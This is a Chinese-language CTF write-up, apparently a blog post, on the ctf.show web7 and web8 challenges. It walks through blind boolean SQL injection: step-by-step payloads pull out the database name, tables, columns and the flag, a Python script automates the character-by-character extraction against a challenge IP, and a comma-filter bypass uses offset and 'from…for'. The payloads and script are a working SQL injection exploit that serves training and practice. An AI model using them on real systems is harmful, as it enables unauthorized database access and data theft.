CTF show WEB7-8

题目网站https://ctf.show

web7

点开其中一篇文章,输入id=1||1存在全部文章内容,说明为整形注入

1.爆库名(web7)
当输入为id=-1/**/or/**/ascii(substr(database(),1,1))=119时出现文章内容,证明库名的第一个字符为‘w’,以此类推。

2.爆表名(flag,page,user)

id=-1/**/or/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),1,1))=102

3.爆字段(flag)
id=-1/**/or/**/ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"/**/limit/**/0,1),1,1))=102

4.爆字段值
id=-1/**/or/**/ascii(substr((select/**/flag/**/from/**/flag/**/limit/**/0,1),1,1))=102

附:python脚本

import requests
url = "http://124.156.121.112:28069/?id=-1/**/"
def db(url):					#爆库名
    database=""
    for i in range(1,50):
        print(i)
        for j in range(40,128):
            u= "||/**/ascii(substr(database()/**/from/**/{0}/**/for/**/1))={1}".format(i,j)
            s = url+u
            r =  requests.get(s)
            if 'By Rudyard Kipling' in r.text:
                database+=chr(j)
                print(database)
                break
                
def table(url):					#爆表名
    table=""
    for i in range(1,50):
        print(i)
        for j in range(40,128):
            u="||ascii(substr((select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema=database()),{0},1))={1}".format(i,j)
            s = url+u
            r =  requests.get(s)
            if 'By Rudyard Kipling' in r.text:
                table+=chr(j)
                print(table)
                break
                

web8

在上一题的基础上增加了逗号的过滤
绕过方法:
1.将limit 0,1样式改为limit 1 offset 0。
2.将substr(string,1,1)改为substr(string from 1 for 1)。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值